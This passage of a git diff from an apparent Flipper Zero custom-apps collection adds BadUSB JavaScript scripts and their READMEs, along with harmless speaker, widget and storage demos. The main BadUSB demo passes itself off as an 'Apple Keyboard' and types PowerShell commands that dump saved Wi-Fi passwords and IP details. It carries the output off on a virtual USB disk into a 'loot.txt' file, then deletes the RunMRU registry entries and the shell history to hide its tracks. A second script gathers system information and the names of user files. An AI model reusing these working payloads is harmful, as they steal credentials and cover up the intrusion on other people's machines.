XFW)/RogueMaster/RFID/nfc_rfid_detector.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_beacon.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_beacon.fap index a533bd84..9a7b9938 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_beacon.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_beacon.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_fuzzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_fuzzer.fap index 46631569..afe4df45 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_fuzzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/rfid_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/t5577_multiwriter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/t5577_multiwriter.fap index 447f8e99..b5600ff3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/t5577_multiwriter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/t5577_multiwriter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js index 25c8483d..59b4f92a 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js @@ -18,7 +18,7 @@ let script = [ "Get-Computerinfo >> stats.txt;", //ComputerInfo "Get-Service >> stats.txt;", // Get runing services "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;", //Check all IPV4 sufix that is not localhost - "GEt-NetTCPConnection | Where-Object -Property State -Match Listen >> stats.txt;", //List listening ports + "Get-NetTCPConnection | Where-Object -Property State -Match Listen >> stats.txt;", //List listening ports "Get-NetTCPConnection | Select-Object -Property * >> stats.txt;", // Get TCP information, ports, state etc.. "Get-ChildItem -Path $userDir -Include *.txt, *.doc, *.docx, *.pptx, *.xlsx, *.pdf, *.jpg, *.png, *.mp3, *.mp4, *.zip, *.rar -Recurse >> stats.txt",//Exfil FileNames ]; diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusb_demo.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusb_demo.js index 86050202..be94a64d 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusb_demo.js +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusb_demo.js @@ -3,7 +3,13 @@ let notify = require("notification"); let flipper = require("flipper"); let dialog = require("dialog"); -badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); +badusb.setup({ + vid: 0xAAAA, + pid: 0xBBBB, + mfr_name: "Flipper", + prod_name: "Zero", + layout_path: "/ext/badusb/assets/layouts/en-US.kl" +}); dialog.message("BadUSB demo", "Press OK to start"); if (badusb.isConnected()) { diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md new file mode 100644 index 00000000..6bd49435 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md @@ -0,0 +1,89 @@ +# BadUSB + +[![FlipperZero: BadUSB JavaScript](https://img.youtube.com/vi/DAUQGeG4pc4/0.jpg)](https://youtu.be/DAUQGeG4pc4) + +This script was created for the [YouTube video](https://youtu.be/DAUQGeG4pc4) to demonstrate various concepts in JavaScript running on the Flipper Zero, using a real world scenario. + +## Overview summary +This script uses features that were introduced in the dev branch of Momentum firmware on April 5, 2024. You need to be sure your firmware is updated or else you will get errors running the script. + +This script will copy an MP3 file from the Flipper to the computer, play it on the computer, run commands to get information from the computer (like wifi credentials), copy the output back to the Flipper Zero, and display it and append it on a local file on the Flipper. It will also automate switching between keyboard, disk, ejecting devices. + +Many of these ideas are from the Momentum Discord server's script-sharing channel. I encourage you to check out the various scripts being shared there. + +## Detailed summary +This script will: + +- Use `storage` APIs to see if a virtual USB disk image exists. If it does, it will delete it. It then creates a new virtual USB disk image using the `usbdisk` APIs. It will then use `storage` APIs to mount the virtual USB disk image and then it will use the `copy` function to copy a file from the SD card onto the virtual USB disk. It will then unmount the virtual USB disk image. +- Next it will use `badusb` APIs to emulate a keyboard with the specified language layout. +- It will then display a `Waiting for connection` message on the screen to indicate that the Flipper Zero is ready to be connected to a computer. It uses `badusb` APIs to wait for a connection. +- It will launch PowerShell on the connected computer (`Windows+x` then `i`). +- It creates a temporary directory on the computer and then switches to that directory. +- It then types all of the commands in the script array (e.g. get ips, get wifi creds, etc.) into the PowerShell window. These commands should save output into the `localFileName`. +- It then types commands to scan for the virtual USB disk to be attached and then set the $DriveLetter variable to the drive letter of the virtual USB disk. +- If copyPayload is true, it will type commands to copy the payload file from the virtual USB disk to the temporary directory on the computer. +- If playPayload is true, it will type commands to play the payload file on the computer. +- If at least one script command is specified, it will type commands to copy the output file from the temporary directory on the computer to the virtual USB disk. +- It will then type commands to eject the drive (signaling that the script is done). +- It will then type commands to hide it's tracks (somewhat) and close the PowerShell window. +- At this point the `badusb` APIs will disconnect the Flipper Zero from the computer. +- The `usbdisk` APIs will then attach the virtual USB disk image. +- At this point the above scripts will detect the virtual USB disk image, and run the above commands, which will eventually finish by ejecting the virtual USB disk image. +- The `usbdisk` APIs will detect the detach the virtual USB disk image. +- The `usbdisk` APIs will then stop the virtual USB disk image. +- If at least one script command is specified, it will then use the `storage` APIs to mount the virtual USB disk image. It will read the output file from the virtual USB disk image and display it on the screen using the `textbox` APIs. It will also append the output file to the `loot.txt` file on the SD card. +- Once the back button is pressed, the storage APIs will unmount the image. + +## Config +Edit the [badusbdemo.js](./badusbdemo.js) file to customize the script. The following are the settings that should be changed: + +- Make sure `layout` is set to the correct keyboard layout for the computer (like `en-US`, `en-UK`, etc). See your [/ext/badusb/assets/layouts](https://github.com/Next-Flip/Momentum-Firmware/tree/dev/applications/main/bad_kb/resources/badusb/assets/layouts) for the list of supported latouts. +- `localTempFolder` is the temporary folder that will created on the computer. You do not need to change this. +- `localFileName` is the name of the output file that will be used by scripts. You do not need to change this. +- `script` array is the list of scripts to run. + - If it is empty, then the MP3 will be copied and played, but no scripts will be run. + - If it has at least one element, then the MP3 will be copied and played, and the scripts will be run. + - Your commands should save output into the `localFileName`. + - If you use a quote mark in your command, you should escape it with a backslash (e.g. `\"`). + - Commands should end with a comma. +- `copyPayload` is `true` to copy the payload file from the Flipper to the computer (otherwise `false`). +- `playPayload` is `true` to play the payload file on the computer (otherwise `false`). +- `payloadName` is the name of the payload file to copy and play. +- `payloadSrcName` is the path to the file. You do not need to change this. It it expected that the script will also contains a `payloads` folder with this file. +- `payloadDstName` is the name of the file on virtual USB disk. You do not need to change this. +- `lootFile` is the name of the file on the SD card to append the output file to. You do not need to change this. This will be saved in the same folder as the script. +- `exfilCapacityMb` is the size of the virtual USB disk image in MB. You do not need to change this unless your payload is >4MB. +- `image` is the name of the virtual USB disk image. You do not need to change this. +- `flipperStorageName` is the name of the virtual USB disk image when it is attached to the Flipper Zero. You should not change this (the driver currently hard-codes this name). +- `resultFolder` is the name of the folder on the virtual USB disk image where the output file will be saved. You do not need to change this. +- `resultFileName` is the name of the output file on the virtual USB disk image. You do not need to change this. + +## Setup + +- Copy the [badusbdemo.js](./badusbdemo.js) file to the Flipper Zero. It should be stored in `SD Card/apps/Scripts/badusbdemo.js`. +- Create a `payloads` folder in the same folder as the script (`SD Card/apps/Scripts/payload`). +- Create a `demo.mp3` file in the `payloads` folder. This file will be copied to the computer and played. This file should be less than 4MB (your `exfilCapacityMb`). + +## Running + +- Make sure you have the latest dev firmware installed on your Flipper. +- On the Flipper click the OK button, then choose `Apps`, then choose `Scripts`, then choose `badusbdemo.js`. +- Connect the Flipper Zero to the computer when prompted with `Waiting for connection`. +- The script will run and eventually disconnect the Flipper Zero from the computer. +- The script will finish and the output will be displayed on the screen and appended to the `loot.txt` file on the SD card in the (`SD Card/apps/Scripts/loot.txt`). + +## Troubleshooting +- If you get... `"textbox" module load fail at :23` -- Your firmware is too old. You need to update to the latest dev branch of the firmware. +- If you get... `"file/dir not exist at :71"` -- You need to put demo.mp3 (all lowercase) in `SD Card/apps/Scripts/payloads/demo.mp3`. The MP3 file I saved in payloads/demo.mp3 for the video was https://www.soundboard.com/track/download/156453 +- If you get... `"out of memory"` -- Reboot the Flipper (BACK+LEFT buttons) before running the script to free up memory. +- If you get a different error, **please let me know** (ideally take a picture of the error with your phone) so I can investigate it. Even if you figure it out, it would be great to add to this troubleshooting section. + +## Support + +If you have any questions, please ask in my [Flipper Zero Discord](https://discord.com/invite/NsjCvqwPAd) server. There are also giveaways and other fun things happening there. + +Support my work: +- Option 1. [Like, Subscribe and click the Bell (to get notified)](https://youtu.be/DAUQGeG4pc4) +- Option 2. [https://ko-fi.com/codeallnight](https://ko-fi.com/codeallnight) (donate $3 via PayPal or Venmo) +- Option 3. Click the "Thanks" button on [YouTube](https://youtu.be/DAUQGeG4pc4). +- Option 4. Purchase a [FlipBoard](https://github.com/MakeItHackin/FlipBoard) (I get a portion of the sale). diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusbdemo_jamisonderek.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusbdemo_jamisonderek.js new file mode 100644 index 00000000..a6e9a485 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusbdemo_jamisonderek.js @@ -0,0 +1,200 @@ +// JavaScript demo of running Windows powershell scripts. This +// demo is based on lots of the previous scripts that were shared +// in the Momentum Discord channel. + +// The payloads in this script were demonstrated in +// Talking Sasquach's video https://youtu.be/8USI98_5GeU?t=447 +// +// The improvements are: +// - Populating the USB drive with payloads. +// - PowerShell polling for the USB drive to be attached. +// - Badusb using keyboard layouts (handling non-US keyboards). +// - Copying a file from USB to local drive. +// - Playing an MP3 file. +// - PowerShell ejecting the USB drive when done. +// - Displaying the results on the Flipper screen. + +// For documentation on configuration see: +// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/badusb/README.md + +let badusb = require("badusb"); +let usbdisk = require("usbdisk"); +let storage = require("storage"); +let textbox = require("textbox"); + +// ************ +// IMPORTANT: Be sure this matches your computer keyboard layout!!! +// See /ext/badusb/assets/layouts/ for list of supported keyboard layouts. +let layout = "en-US"; + +// Local file to store system information. +let localTempFolder = "flipper"; +let localFileName = "info.txt"; + +// Update this script to include the commands you want to run. +let script = [ + "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> " + localFileName + ";", + "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:([A-Za-z ]+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> " + localFileName + ";", + // "dir env: >> " + localFileName + ";", +]; + +// Payload to copy from the SD card to the USB drive. +let copyPayload = true; +let playPayload = true; +let payloadName = "demo.mp3"; +let payloadSrcName = __dirpath + "/payloads/" + payloadName; +let payloadDstName = "/mnt/" + payloadName; + +// All the loot will be stored in this file. +let lootFile = __dirpath + "/loot.txt"; + +// Image to store payloads and results. +let exfilCapacityMb = 4; // Reserve space for our image (payloads and results). +let image = __dirpath + "/Demo_" + to_string(exfilCapacityMb) + "MB.img"; +let flipperStorageName = "Flipper Mass Storage"; + +// Folder and file to store the results on SD card. +let resultFolder = "results"; +let resultFileName = "info.txt"; + +print("Checking for Image..."); +if (storage.exists(image)) { + storage.remove(image); +} +print("Creating Storage..."); +usbdisk.createImage(image, exfilCapacityMb * 1024 * 1024); + +if (copyPayload) { + print("Copying Payload...") + storage.virtualInit(image); + storage.virtualMount(); + storage.copy(payloadSrcName, payloadDstName); + storage.virtualQuit(); +} + +badusb.setup({ + vid: 0x1234, + pid: 0x5678, + mfr_name: "Apple", + prod_name: "Keyboard", + layout_path: "/ext/badusb/assets/layouts/" + layout + ".kl" +}); +print("Waiting for connection"); +while (!badusb.isConnected()) { + delay(1000); +} + +// Launch powershell +print("Launching powershell"); +delay(3000); +badusb.press("GUI", "x"); +delay(500); +badusb.press("i"); +delay(3000); + +print("Running commands"); +badusb.print(" md " + localTempFolder + "; cd " + localTempFolder + "; "); +for (let i = 0; i < script.length; i++) { + badusb.print(script[i]); +} +badusb.press("ENTER"); +badusb.press("ENTER"); + +// Wait for attached drive, assign to $DriveLetter +badusb.print(" $FlipperStorage = '" + flipperStorageName + "';"); +badusb.print(" do {"); +badusb.print(" Start-Sleep 1;"); +badusb.print(" $Disks = Get-Disk;"); +badusb.print(" $DiskNames = $Disks | Select-Object -Property Number,FriendlyName;"); +badusb.print(" $DiskNumber = $DiskNames | Where-Object -FilterScript { ($_.FriendlyName) -eq $FlipperStorage} | Select-Object -ExpandProperty Number;"); +badusb.print(" } while ($DiskNumber -lt 0);") +badusb.print(" $DriveLetter = Get-Partition -DiskNumber ${DiskNumber} | Select-Object -ExpandProperty DriveLetter;"); + +// Copy file from USB drive locally. +if (copyPayload) { + badusb.print(" $Payload = ${DriveLetter} + ':\\" + payloadName + "';"); + badusb.print(" Copy-Item -Path $Payload;"); +} + +// Play the MP3 payload file. +if (playPayload) { + badusb.print("Add-Type -AssemblyName presentationCore;"); + badusb.print(" $mediaPlayer = New-Object system.windows.media.mediaplayer;"); + badusb.print(" $song = Get-Location | Select-Object -ExpandProperty Path;"); + badusb.print(" $song = $song+'\\" + payloadName + "';") + badusb.print(" $mediaPlayer.open($song);"); + badusb.print(" $mediaPlayer.Play();"); +} + +// Move file onto SD card +if (script.length > 0) { + badusb.print(" $LocalFile = '" + localFileName + "';"); + badusb.print(" New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\" + resultFolder + "\\;"); + badusb.print(" Move-Item -Path $LocalFile -Destination ${DriveLetter}:\\" + resultFolder + "\\" + resultFileName + ";"); + badusb.print(" Start-Sleep 1;"); +} + +// Eject drive +badusb.print(" $eject = New-Object -comObject Shell.Application;"); +badusb.print(" $eject.Namespace(17).ParseName($DriveLetter+':').InvokeVerb('Eject');"); + +// Hide tracks +badusb.print(" cd ..;"); +badusb.print(" Remove-Item " + localTempFolder + " -Force -Recurse;"); +badusb.print(" reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f;"); +badusb.print(" Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue;"); +badusb.press("ENTER"); +delay(500); + +// Close window & detach keyboard +badusb.press("ENTER"); +badusb.print(" Start-Sleep 10; exit"); +badusb.press("ENTER"); +badusb.quit(); + +// Wait for badusb to finish typing. +print("Waiting for typing to finish..."); +delay(5 * 1000); + +// Attach storage +print("Attaching storage..."); +usbdisk.start(image); + +// Wait for storage to be detached from script +print("Waiting for storage to detatch..."); +while (!usbdisk.wasEjected()) { + delay(1000); +} +usbdisk.stop(); + +// Done +print("Detached disk."); +delay(1000); + +// Mount and display loot +if (script.length > 0) { + print("Reading loot..."); + storage.virtualInit(image); + storage.virtualMount(); + delay(1000); + let data = storage.read("/mnt/" + resultFolder + "/" + resultFileName); + textbox.setConfig("start", "text"); + textbox.emptyText(); + let data_view = Uint8Array(data); + for (let i = 0; i < data_view.length; i++) { + textbox.addText(chr(data_view[i])); + } + data_view = undefined; + textbox.addText("\n"); + textbox.show(); + print("Copying to loot file."); + storage.append(lootFile, data); + print("Displaying results."); + while (textbox.isOpen()) { + delay(1000); + } + textbox.emptyText(); + storage.virtualQuit(); +} + +print("Done."); \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/path.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/path.js new file mode 100644 index 00000000..0381150d --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/path.js @@ -0,0 +1,9 @@ +let storage = require("storage"); + +print("script has __dirpath of" + __dirpath); +print("script has __filepath of" + __filepath); +if (storage.exists(__dirpath + "/math.js")) { + print("math.js exist here."); +} else { + print("math.js does not exist here."); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_api.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_api.js new file mode 100644 index 00000000..bca6c4c9 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_api.js @@ -0,0 +1,40 @@ +// By jamisonderek +// For documentation on this API's use, see: +// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/ +({ + _acquired: false, + _acquire: ffi("int furi_hal_speaker_acquire(int)"), + _release: ffi("void furi_hal_speaker_release(void)"), + start: ffi("void furi_hal_speaker_start(float, float)"), + stop: ffi("void furi_hal_speaker_stop(void)"), + acquire: function (timeout) { + if (!this._acquired) { + this._acquired = this._acquire(timeout); + } + return this._acquired; + }, + acquired: function () { + return this._acquired; + }, + release: function () { + if (this._acquired) { + this._release(); + this._acquired = false; + } + }, + play: function (frequency, volume, duration) { + let already_acquired = this.acquired(); + if (!already_acquired) { + this.acquire(1000); + }; + if (this.acquired()) { + this.start(frequency, volume); + delay(duration); + this.stop(); + } + if (!already_acquired) { + this.release(); + } + }, +} +) \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_jamisonderek.README.md b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_jamisonderek.README.md new file mode 100644 index 00000000..ddd9b6d8 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_jamisonderek.README.md @@ -0,0 +1,14 @@ +# Speaker + +A JavaScript that plays tones using the `ffi` commands. The advantage of the `ffi` commands is that they can run on firmware without requiring a particular module `.fal` file to exist on the Flipper. Thanks to [Freehuntx](https://github.com/Freehuntx) for the various examples of using `ffi`. + +## How to use +Copy the `speaker.js` file and `speaker_api.js` file to your Flipper Zero, typically the `SD Card/app/Scrips` folder. You can then run the script (on your Flipper press `OK` then choose `Apps`, `Scripts`, `speaker.js`). + +NOTE: The script uses the `__dirpath` variable to locate the `speaker_api.js` file. Some frameworks don't support this variable yet, so you may need to adjust the path to the `speaker_api.js` file. For example change the first line of speaker.js to the following: +```js +let Speaker = load("/ext/apps/Scripts/speaker_api.js"); +``` + +For an `ffi` version of script that obtains the same data as `__dirpath` see [this Discord post]( +https://discord.com/channels/1211622338198765599/1220056596638597327) by @Freehuntx. \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_jamisonderek.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_jamisonderek.js new file mode 100644 index 00000000..3ba2f25e --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/speaker_jamisonderek.js @@ -0,0 +1,4 @@ +let Speaker = load(__dirpath + "/speaker_api.js"); + +Speaker.play(440, 1.0, 500); +Speaker.play(880, 1.0, 500); diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/storage.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/storage.js index c19f0f00..fd2ba4a4 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/storage.js +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/storage.js @@ -1,19 +1,36 @@ let storage = require("storage"); let path = "/ext/storage.test"; +function arraybuf_to_string(arraybuf) { + let string = ""; + let data_view = Uint8Array(arraybuf); + for (let i = 0; i < data_view.length; i++) { + string += chr(data_view[i]); + } + return string; +} + print("File exists:", storage.exists(path)); print("Writing..."); +// write(path, data, offset) +// If offset is specified, the file is not cleared, content is kept and data is written at specified offset +// Takes both strings and array buffers storage.write(path, "Hello "); print("File exists:", storage.exists(path)); // Append will create the file even if it doesnt exist! +// Takes both strings and array buffers storage.append(path, "World!"); print("Reading..."); +// read(path, size, offset) +// If no size specified, total filesize is used +// If offset is specified, size is capped at (filesize - offset) let data = storage.read(path); -print(data); +// read returns an array buffer, to allow proper usage of raw binary data +print(arraybuf_to_string(data)); print("Removing...") storage.remove(path); @@ -21,6 +38,9 @@ storage.remove(path); print("Done") // There's also: +// storage.copy(old_path, new_path); +// storage.move(old_path, new_path); +// storage.mkdir(path); // storage.virtualInit(path); // storage.virtualMount(); // storage.virtualQuit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md new file mode 100644 index 00000000..ea1ed54c --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_jamisonderek.README.md @@ -0,0 +1,35 @@ +# vgm_sensor tutorial + +This is an example of extending JavaScript for the Flipper Zero. The files were used in the [YouTube video](https://youtu.be/EtOZN3Rh47c) which demonstrates the process in detail. + +Our [a_demo.js](./a_demo.js) script will play a tone using the speaker module. It will then display sensor information from the video game module. + +The [tone_rotate.js](./tone_rotate.js) script will play a tone using the speaker module. As you rotate the Flipper (change the yaw reading) the frequency of the tone will increase or decrese. + +Copy the [a_demo.js](./a_demo.js) and [tone_rotate.js](./tone_rotate.js) files to your `SD Card/apps/Scripts` directory. You can then run the scripts from the Flipper Zero (`Apps`, `Scripts`, `a_demo.js`). + +## Prebuilt apps +You can copy one of the FAL files from [prebuilt](./prebuilt/) onto `SD Card/apps_data/js_app/plugins/js_vgm.fal` and then you will be able to do `let vgm = require("vgm");`. The prebuilt files exposes the 4 APIs (getPitch, getRoll, getYaw, deltaYaw) from the video and they also expose a (`play(440,1.0,250);`) command -- since I wanted to see what would happen if I used furi_hal_speaker APIs in my module code. If you use the wrong one for your firmware, you will get `"vgm" module load fail`. You can also copy [tone_rotate_native.js](./prebuilt/tone_rotate_native.js) to the `SD Card/apps/Scripts/tone_rotate_native.js`. Running the script (`Apps`, `Scripts`, `tone_rotate_native`) should play tones as you rotate your Flipper with the VGM attached. + +## Installing the JS speaker_api module +We wrote the speaker_api module in JavaScript (using furi_hal_xxx APIs to expose a new speaker module). This file [speaker_api.js](./speaker_api.js) should be copied to your `SD Card/apps/Scripts` directory. Once copied, your scripts can do a `let speaker = load(__dirpath + "/speaker_api.js");` and then `speaker.playTone(440, 1.0, 500);` to play a 440Hz tone, at full volume for 500ms. This file is a good example of how to use FFI to extend the Flipper Zero. If your APIs are part of the firmware, and don't use enumeration values, this is a good technqiue to use. (If they use enumeration values, it's possible that the values will change in the future, and your script will reference the improper id values.) + +## Installing the C (js_vgm) module +To expose the sensor APIs to JavaScript we used a second technique of creating a module in C and compiling it into the firmware. This is a more robust technique, but requires more work for everyone that want to use the module. If you are using enumeration values, they get resolved at compile time so they will always be correct. You are able to include additional files in your C module, so you can access APIs that aren't part of the firmware (for example, accessing the sensors in the video game module). The downside is that you have to write C code, and everyone that wants to run your script needs to have their firmware compiled with your module. + +To add the native C module to your firmware: +- Follow the steps in [Clone & Deploy firmware](https://github.com/jamisonderek/flipper-zero-tutorials/wiki/Install-Firmware-and-Apps#clone--deploy-firmware) instructions. +- Copy the [js_vgm](./js_vgm) folder to your firmware's `applications/system/js_app/modules/js_vgm` directory on your computer. +- Update your application.fam for js_app, adding an entry in your firmware's `applications/system/js_app/application.fam` file to include the js_vgm module at the bottom of the file. It should look like the following: +```c +App( + appid="js_vgm", + apptype=FlipperAppType.PLUGIN, + entry_point="js_vgm_ep", + requires=["js_app"], + sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"], +) +``` +- Recompile your firmware and deploy it to your Flipper Zero. (e.g. Run step 7 again in the *Clone & Deploy firmware* instructions.) + +NOTE: If you create a useful module, you should try to make a pull-request to the firmware, so that other people can use your module without having to recompile the firmware. \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_jamisonderek.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_jamisonderek.js new file mode 100644 index 00000000..6027098d --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_jamisonderek.js @@ -0,0 +1,38 @@ +let vgm = require("vgm"); +let __dirpath = "/ext/apps/Scripts"; +let speaker = load(__dirpath + "/speaker_api.js"); + +let min_delta_angle = 29.98; +let max_wait_ms = 10000; +let freq_hz = 440; + +//Uncomment below to test for various test cases... +//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). +//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. +//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. +//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. + +// Show the pitch, roll, and yaw values for 5 seconds +for (let i = 0; i < 5; i++) { + print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); + delay(1000); +} + +// Play a sound that changes pitch based on yaw +for (let i = 0; i < 500; i++) { + print("Freq", freq_hz, "Hz"); + speaker.play(freq_hz, 1.0, 250); + + let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); + if (delta === undefined) { + print("No VGM detected. Exiting..."); + break; + } + delta /= (min_delta_angle / 1.02); + + if (delta > 0) { + freq_hz *= delta; + } else if (delta < 0) { + freq_hz /= -delta; + } +} diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js new file mode 100644 index 00000000..9458a606 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js @@ -0,0 +1,40 @@ +let vgm = require("vgm"); +//The pre-built vgm exposes a .play function, so we don't need the speaker_api.js file. +//let __dirpath = "/ext/apps/Scripts"; +//let speaker = load(__dirpath + "/speaker_api.js"); + +let min_delta_angle = 29.98; +let max_wait_ms = 10000; +let freq_hz = 440; + +//Uncomment below to test for various test cases... +//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). +//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. +//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. +//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. + +// Show the pitch, roll, and yaw values for 5 seconds +for (let i = 0; i < 3; i++) { + print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); + delay(1000); +} + +// Play a sound that changes pitch based on yaw +for (let i = 0; i < 500; i++) { + print("Freq", freq_hz, "Hz"); + // speaker.play(freq_hz, 1.0, 250); + vgm.play(freq_hz, 1.0, 250); + + let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); + if (delta === undefined) { + print("No VGM detected. Exiting..."); + break; + } + delta /= (min_delta_angle / 1.02); + + if (delta > 0) { + freq_hz *= delta; + } else if (delta < 0) { + freq_hz /= -delta; + } +} diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/widget-js.fxbm b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/widget-js.fxbm new file mode 100644 index 00000000..9ba5783c Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/widget-js.fxbm differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/widget.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/widget.js new file mode 100644 index 00000000..4ff11e44 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/widget.js @@ -0,0 +1,59 @@ +let widget = require("widget"); + +let demo_seconds = 30; + +print("Loading file", __filepath); +print("From directory", __dirpath); + +// addText supports "Primary" and "Secondary" font sizes. +widget.addText(10, 10, "Primary", "Example JS widget"); +widget.addText(10, 20, "Secondary", "Example widget from JS!"); + +// load a Xbm file from the same directory as this script. +widget.addText(0, 30, "Secondary", __filepath); +let logo = widget.loadImageXbm(__dirpath + "/widget-js.fxbm"); + +// add a line (x1, y1, x2, y2) +widget.addLine(10, 35, 120, 35); + +// add a circle/disc (x, y, radius) +widget.addCircle(12, 52, 10); +widget.addDisc(12, 52, 5); + +// add a frame/box (x, y, width, height) +widget.addFrame(30, 45, 10, 10); +widget.addBox(32, 47, 6, 6); + +// add a rounded frame/box (x, y, width, height, radius) +widget.addRframe(50, 45, 15, 15, 3); +widget.addRbox(53, 48, 6, 6, 2); + +// add a dot (x, y) +widget.addDot(100, 45); +widget.addDot(102, 44); +widget.addDot(104, 43); + +// add a glyph (x, y, glyph) +widget.addGlyph(115, 50, "#".charCodeAt(0)); + +// Show the widget (drawing the layers in the orderer they were added) +widget.show(); + +let i = 1; +let bitmap = undefined; +while (widget.isOpen() && i <= demo_seconds) { + // Print statements will only show up once the widget is closed. + print("count is at", i++); + + // You can call remove on any added item, it does not impact the other ids. + if 